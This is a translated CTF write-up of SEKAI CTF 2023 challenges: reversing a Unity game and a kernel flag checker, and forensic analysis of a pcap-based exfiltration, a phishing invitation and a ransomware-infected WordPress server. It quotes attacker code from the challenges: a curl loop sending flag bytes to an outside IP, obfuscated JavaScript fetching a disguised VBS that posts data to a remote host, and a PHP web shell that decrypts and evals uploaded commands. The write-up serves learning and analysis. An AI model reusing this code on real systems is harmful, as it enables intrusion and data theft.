This page has been machine-translated from the original page.
I participated in SEKAI CTF 2023, which started on 8/26, as part of 0nePadding.
Our final rank this time was 347th.
While lamenting my lack of skill, I am writing this writeup as usual to review the problems.
There were several challenges that looked interesting, so I would also like to try the ones I could not solve later.
Contents
- Azusawa’s Gacha World(Rev)
- Guardians of the Kernel(Rev)
- Eval_Me(Forensic)
- DEF CON Invitation(Forensic)
- Infected(Forensic)
- Summary
Azusawa’s Gacha World(Rev)
I will not include screenshots because there seemed to be various copyright-related issues, but this challenge involved analyzing a copy of a social game app with the Flag embedded in it.
The Flag was embedded in the image of an SSR whose gacha drop rate was set to 0%.
The challenge binary was a game implemented in Unity, so I analyzed the logic by examining Assembly-CSharp.dll with ILSpy.
Reference: How to Reverse Engineer a Unity Game | Kodeco
However, I thought it would be faster to extract the resources than to follow the implementation, so I extracted the game images with AssetStudio and was able to obtain the Flag.
Guardians of the Kernel(Rev)
It’s just a warmup but with another layer which is the kernel.
Attachment
The challenge binaries provided were bzImage and initramfs.cpio.
When I extracted the file system locally with the following command, I was able to obtain a kernel driver file named flag_checker.ko.
mkdir root
cd root; cpio -idv < ../initramfs.cpioAfter decompiling this with IDA, I obtained the following device_ioctl function.
__int64 __fastcall device_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 result; // rax
unsigned __int8 *v6; // rax
int v7; // edx
int v8; // eax
unsigned int v9; // eax
__int64 v10; // rdx
if ( a2 == 28673 )
{
if ( !layers[1] )
return 0LL;
if ( !copy_from_user(buffer, a3, 7LL) )
{
buffer[7] = 0;
v6 = buffer;
while ( (unsigned __int8)(*v6 - 48) <= 9u )
{
if ( &buffer[7] == ++v6 )
{
v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);
v8 = __ROR4__(422871738 * ((buffer[5] << 8) ^ (buffer[6] << 16) ^ buffer[4]), 15);
v9 = 1984242169
* ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));
if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )
return 0LL;
return device_ioctl_cold();
}
}
return 0LL;
}
return -14LL;
}
if ( a2 == 28674 )
{
if ( !layers[2] )
return 0LL;
v10 = copy_from_user(buffer, a3, 12LL);
if ( !v10 )
{
do
{
buffer[v10] += buffer[v10 + 1] * ~(_BYTE)v10;
++v10;
}
while ( v10 != 12 );
if ( *(_QWORD *)buffer != 0x788C88B91D88AF0ELL || *(_DWORD *)&buffer[8] != 2113081836 || buffer[12] )
return 0LL;
printk(&unk_2EB, a3);
return 1LL;
}
return -14LL;
}
if ( a2 != 28672 )
{
printk(&unk_302, a3);
return 0LL;
}
if ( copy_from_user(buffer, a3, 6LL) )
return -14LL;
if ( *(_DWORD *)buffer != 1095451987 || *(_WORD *)&buffer[4] != 31561 )
return 0LL;
printk(&unk_2B6, a3);
result = 1LL;
layers[1] = 1;
return result;
}The code is broadly split into three parts, and you can see that each part validates a portion of the Flag string.
First, here is the initial layer.
if ( a2 != 28672 )
{
printk(&unk_302, a3);
return 0LL;
}
if ( copy_from_user(buffer, a3, 6LL) ) return -14LL;
if ( *(_DWORD *)buffer != 1095451987 || *(_WORD *)&buffer[4] != 31561 ) return 0LL;
printk(&unk_2B6, a3);
result = 1LL;As you can tell at a glance, this shows that the first 6 bytes of the Flag match SEKAI{.
Next, let us look at the following layer.
if ( a2 == 28674 )
{
if ( !layers[2] )
return 0LL;
v10 = copy_from_user(buffer, a3, 12LL);
if ( !v10 )
{
do
{
buffer[v10] += buffer[v10 + 1] * ~(_BYTE)v10;
++v10;
}
while ( v10 != 12 );
if ( *(_QWORD *)buffer != 0x788C88B91D88AF0ELL || *(_DWORD *)&buffer[8] != 2113081836 || buffer[12] )
return 0LL;
printk(&unk_2EB, a3);
return 1LL;
}
return -14LL;
}This part is also very simple: it applies buffer[i] += buffer[i + 1] * ~(_BYTE)i to the last 12 characters of the Flag and checks whether the result matches the hard-coded byte values.
I was able to solve this with the following solver.
from z3 import *
flag = [BitVec(f"flag[{i}]", 8) for i in range(13)]
buf = [BitVec(f"buf[{i}]", 8) for i in range(13)]
s = Solver()
for i in range(12):
s.add(And(
(flag[i] >= 0x21),
(flag[i] <= 0x7e)
))
s.add(flag[i] != 0)
s.add(flag[12] == 0x00)
s.add(buf[12] == 0x00)
# buffer[i] += buffer[i + 1] * ~(_BYTE)i;
for i in range(12):
s.add(buf[i] == flag[i] + flag[i+1] * (~i & 0xFF) )
s.add(buf[7] == 0x78)
s.add(buf[6] == 0x8C)
s.add(buf[5] == 0x88)
s.add(buf[4] == 0xB9)
s.add(buf[3] == 0x1D)
s.add(buf[2] == 0x88)
s.add(buf[1] == 0xAF)
s.add(buf[0] == 0x0E)
s.add(buf[11] == 0x7d)
s.add(buf[10] == 0xf3)
s.add(buf[9] == 0x11)
s.add(buf[8] == 0xec)
if s.check() == sat:
m = s.model()
for c in flag:
print(chr(m[c].as_long()),end="")Running the above shows that the end of the Flag is SEKAIPL@YER}.
Finally, let us look at the layer for the first half of the Flag.
I could follow the implementation here, but I could not write the solver correctly during the contest, so I failed to solve it at the time (it seems I had misplaced some parentheses…).
if ( a2 == 28673 )
{
if ( !layers[1] )
return 0LL;
if ( !copy_from_user(buffer, a3, 7LL) )
{
buffer[7] = 0;
v6 = buffer;
while ( (unsigned __int8)(*v6 - 48) <= 9u )
{
if ( &buffer[7] == ++v6 )
{
v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);
v8 = __ROR4__(422871738 * ((buffer[5] << 8) ^ (buffer[6] << 16) ^ buffer[4]), 15);
v9 = 1984242169
* ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));
if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )
return 0LL;
return device_ioctl_cold();
}
}
return 0LL;
}
return -14LL;
}Implementation-wise, this compares the result of splitting the first 7 characters of the Flag into 4 bytes and 3 bytes and then applying several operations such as shifts, rotates, and multiplication.
# Import modules
from z3 import *
from pwn import *
# Create bit-vector variables
buf = BitVec("buf", 32)
buf2 = BitVec("buf2", 32)
# Create a solver instance
s = Solver()
s.add(buf2>>24 == 0)
for i in range(4):
# LShR(>>)
s.add((LShR(buf,8*i) & 0xFF) >= 0x30)
s.add((LShR(buf,8*i) & 0xFF) <= 0x39)
for i in range(3):
# LShR(>>)
s.add((LShR(buf2,8*i) & 0xFF) >= 0x30)
s.add((LShR(buf2,8*i) & 0xFF) <= 0x39)
# def ror(a,b): return (LShR(a,b)|(a<<(32-b))) & N # RotateRight
# def rol(a,b): return ror(a,32-b) # RotateLeft
# v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);
# v8 = __ROR4__(422871738 * ((buffer[5] << 8) ^ (buffer[6] << 16) ^ buffer[4]), 15);
# v9 = 1984242169 * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));
# if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )
N = 0xFFFFFFFF
a = (422871738 * buf)
a = (1507359807 * RotateRight(a, 15))
v7 = (7 * RotateLeft(a, 11))
b = buf2
v8 = RotateRight((422871738 * b), 15)
v9 = (1984242169 * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ LShR((((v7 + 1204333666) ^ (1507359807 * v8))), 16)))
s.add((LShR(((-1817436554 * (LShR(v9, 13) ^ v9))), 16) ^ (-1817436554 * (LShR(v9, 13) ^ v9))) == 0xF99C821)
# Search for a solution
if s.check() == sat:
print(p32(s.model()[buf].as_long()) + p32(s.model()[buf2].as_long()))
# SEKAI{6001337SEKAIPL@YER}Because the result of running the above solver is 6001337, I was able to determine that the final correct Flag is SEKAI{6001337SEKAIPL@YER}.
Eval_Me(Forensic)
I was trying a beginner CTF challenge and successfully solved it. But it didn’t give me the flag. Luckily I have this network capture. Can you investigate?
The challenge gives you a server that requires you to solve arithmetic problems within a fixed time limit, along with a pcap.
First, after solving all of the arithmetic problems with the following solver, you can obtain a URL for downloading a file called extract.sh.
from pwn import *
import binascii
import time
p = remote("chals.sekai.team", 9000)
def calc(arr):
a = int(arr[0])
b = int(arr[2])
n = arr[1]
if n == "+":
return a+b
if n == "-":
return a-b
if n == "*":
return a*b
if n == "/":
return a/b
print(p.recvline())
print(p.recvline())
print(p.recvline())
print(p.recvline())
i = 0
while (i < 99):
r = p.recvline()
print(r)
r = r.decode().split(" ")
p.sendline(
str(calc(r)).encode()
)
print(p.recvline())
i += 1
p.interactive()extract.sh was the following script.
#!/bin/bash
FLAG=$(cat flag.txt)
KEY='s3k@1_v3ry_w0w'
# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }
XOREncrypt(){
local key="$1" DataIn="$2"
local ptr DataOut val1 val2 val3
for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do
val1=$( Asc "${DataIn:$ptr:1}" )
val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )
val3=$(( val1 ^ val2 ))
DataOut+=$(printf '%02x' "$val3")
done
for ((i=0;i<${#DataOut};i+=2)); do
BYTE=${DataOut:$i:2}
curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
done
}
XOREncrypt $KEY $FLAG
exit 0Here, you can see that the byte values of the Flag are XOR-encrypted using s3k@1_v3ry_w0w as the key and then sent in POST requests to some server.
The packets for this communication correspond to the pcap included with the challenge binary.
So I used the following one-liner with tshark to extract every byte value contained in the POST requests.
tshark -r ./capture.pcapng -Y "http.request.method == POST" -T fields -e json.value.string | tr '\n' ' 'Finally, by decrypting the XOR with the following solver, I was able to obtain the Flag.
# tshark -r ./capture.pcapng -Y "http.request.method == POST" -T fields -e json.value.string | tr '\n' ' '
data = "20 76 20 01 78 24 45 45 46 15 00 10 00 28 4b 41 19 32 43 00 4e 41 00 0b 2d 05 42 05 2c 0b 19 32 43 2d 04 41 00 0b 2d 05 42 28 52 12 4a 1f 09 6b 4e 00 0f".split(" ")
data = [int("0x"+ i, 16) for i in data]
key = "s3k@1_v3ry_w0w"
i = 0
for d in data:
print(
chr(d ^ ord(key[i % len(key)])), end=""
)
i += 1
# SEKAI{3v4l_g0_8rrrr_8rrrrrrr_8rrrrrrrrrrr_!!!_8483}DEF CON Invitation(Forensic)
As you all know, DEF CON CTF Qualifier 2023 was really competitive and we didn’t make it. Surprisingly, 2 months before the finals in Las Vegas, we received an official invitation from Nautilus Institute to attend the event. Should we accept the invitation and schedule the trip?
When I checked the HTML source embedded in the ics file attached to the eml file that was provided as the challenge binary, I found that it referenced the HTML page https://storage.googleapis.com/defcon-nautilus/venue-guide.html.
When I fetched the source of that HTML, it contained the following JavaScript.
const ror = (message) => {
const foo = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
const bar = "nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM"
return message.replace(/[a-z]/gi, letter => bar[foo.indexOf(letter)])
}
async function dd(dataurl, fileName) {
const response = await fetch(dataurl);
const blob = await response.blob();
const link = document.createElement("a");
link.href = URL.createObjectURL(blob);
link.download = fileName;
link.click();
}
window.onload = function() {
const downloadButton = document.getElementById("downloadButton");
downloadButton.onclick = function() {
dd(ror('uggcf://fgbentr.tbbtyrncvf.pbz/qrspba-anhgvyhf/irahr-znc.cat.iof'), ror('foi.tac.cnz-rhari').split("").reverse().join(""));
}
};After roughly deobfuscating this logic, I was able to obtain a malicious VBS file named venue-map.png.vbs.
As I continued print-debugging the VBS file by adding WScript.Echo, the download link for defcon-flag.png.XORed, an image file encrypted by OwOwO(ewkjunfw), was revealed.
Reading further through the VBS processing, I found that the following code is called at the end.
Dim http: Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
Dim url: url = "http://20.106.250.46/sendUserData"
With http
Call .Open("POST", url, False)
Call .SetRequestHeader("Content-Type", "application/json")
Call .Send("{""username"":""" & strUser & """}")
End WithWhen I entered an arbitrary username and sent a POST request to this destination, it returned the message Not admin!.
So I sent a POST request with the username set to admin, and I obtained the key 02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY.
Using this key, I created the following solver and was able to obtain the correct Flag.
import array
KEY = [ord(c) for c in "02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY"]
def xor_bytes(in_bytes, key=None):
if not key:
key = KEY
arr = array.array('B', in_bytes)
for i, val in enumerate(arr):
cur_key = key[i % len(key)]
arr[i] = val ^ cur_key
return bytes(arr)
def xor_file(input_file, output_file=None, key=None):
with open(input_file, 'rb') as encoded_stream:
buf = encoded_stream.read()
buf = xor_bytes(buf, key=key)
if output_file:
with open(output_file, 'wb') as decoded_stream:
decoded_stream.write(bytes(buf))
return buf
xor_file("defcon-flag.png.XORed", output_file="defcon-flag.png", key=KEY)Infected(Forensic)
Our systems recently got ransomwared, and we tracked the origin to our web server. We’re not sure how they got access, can you find out?
The challenge provided a pcap and a full set of files from the WordPress server.
From the problem statement, it looked like all I needed to do was identify how the ransomware infection occurred.
For now, I opened the pcap in Wireshark and checked the HTTP request statistics, which showed that a variety of suspicious requests had landed.
Also, because an unusually large number of requests to this server returned 404, I first filtered out only the packets with status code 200.
I reviewed the list of GET queries, but I could not find anything that seemed directly connected to the ransomware infection.
So next I narrowed the extracted packets down to the POST method.
After looking through them, I noticed something obviously suspicious at the very bottom: data named file was being sent via POST to data.php.
When I searched the challenge files for data.php, I found the following script, which appeared to decrypt the received data as a file.
<?php
set_error_handler(function($errno, $errstr, $errfile, $errline) {
// error was suppressed with the @-operator
if (0 === error_reporting()) {
return false;
}
throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
});
try {
$ab8a69 = $_FILES['file'];
$a1721b = fopen($ab8a69['tmp_name'], "r");
$abdfbe = fread($a1721b,filesize($ab8a69['tmp_name']));
$ae25f0 = substr($abdfbe, 0, strpos($abdfbe, "..."));
$aa1090 = substr($abdfbe, strpos($abdfbe, "...") + 3);
$afd8f0 = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($aa1090), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
}
catch (Exception $e) {
die("");
}
$aa13a9 = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$a4b1af = "";
$af5e94 = explode(",", $aa13a9);
foreach ($af5e94 as $a64500) {
openssl_private_decrypt(base64_decode($a64500), $a64500, $afd8f0);
$a4b1af .= $a64500;
}
if ($a4b1af == "") {
die("");
}
else {
eval($a4b1af);
}
?>I saved the POST data extracted from the pcap as file.bin and reproduced the attack locally.
# Start the PHP server
docker run --net host --rm -it -v `pwd`:/root php bash
php -S 127.0.0.1:8080
# Send the file
curl -X POST -F file=@./file.bin http://localhost:8080/date.phpWhen I tried print-debugging the value of the final eval($a4b1af), I was able to obtain the following PHP script.
$pvk1 = "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCyYg7DzqjtPGCUT+q38iZcQDqZFC+lIxqo+g1/OhT45AMPtea0
habVZX77whFsQz5zE3fUXLZCzDnZpvtfr4Y8JSzGdL7O0qf3KAQIfk26YQeKOOje
ECNi5zUk3wf+5QUZjXnvDj+BUr78fV57zMpCBe65+mTiBpFkzsNTYo+VxwIDAQAB
AoGBAKyHPrSPer8JOHf525DRudxbmtFXvsU/cJeiUc+Nw57+GR/m1R4gbj3TDsA8
8VD+sLXoTGuux/FPSVyDrnjbcT25akm0FE+KkBZ6dNLFtOq6WQTe3N8HHDHkpqbZ
qXbmuph4MqZlDpKMbEL1cQ81MkgAdPJnljvrjpIoqn5wZ7cRAkEA1+SjeaueSCu4
4VzXTDOMkBqT5rEfJXnT7fN9eM48dXCd1LotWIL/2xcGkC4OdqT0kQiSs4pOQlcn
Lle18qOL5QJBANOFh3aaoGDfH60ecX2MHDnvHz4CSAIInlNXsPpbhWrt7blmGBeA
nuwIiaQOMzvrj084xk3nI8PMIzdgxUFveDsCQA2w1h0VIQh6nVLNTGnsqvFIfjCW
8t6xhxsD4eUTTwozhg7Db7S5Ofhu0V+7S/eCJnA8FvGDx8q1NCrgLQ2iCXECQDl2
cRKbdy5Z7zUMrDA7O//RIl+qJv3GcZyamg2ph1lBQe+3+JuJ6aKdvya+ZNTGbaxL
9DN9s42hi3+j3nKkYbkCQDy68qEICIdcLPFzv/sEN2JS1Cg21lJMH14ao0M3Di9B
G4oDHVBHCRtDGXOviR8AG0VpghDHheonDFaX5O7VXUM=
-----END RSA PRIVATE KEY-----
";
$pbk1 = "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyucnknkBP4whz0YJrblke667f
5g4EfCmKcO2j7c+WEOWmbVBRZ/ETtqOIEM8Hp9rV605R1gJBf7tcxziEoX4wxQm5
nfAqXkHUdloGyK7p7IZTh5tX6KnckCtrwbD7EFwjWBBceVHRmnmVdtF4yIkwaD2S
4tw4O5CVYcIlIAAo6QIDAQAB
-----END PUBLIC KEY-----
";
openssl_private_decrypt($ae25f0, $decrypted, $pvk1);
$result = `{$decrypted} 2>&1`;
$encrypted = "";
$chunks = str_split($result, 116);
foreach ($chunks as $chunk) {
openssl_public_encrypt($chunk, $tmp, $pbk1);
$encrypted .= base64_encode($tmp).",";
}
echo $encrypted;After embedding this into PHP, adding a line to print $decrypted, and sending the POST request once more, I successfully obtained the correct Flag as shown below.
Summary
Every time I enter a contest, I am reminded of how far my skills still have to go.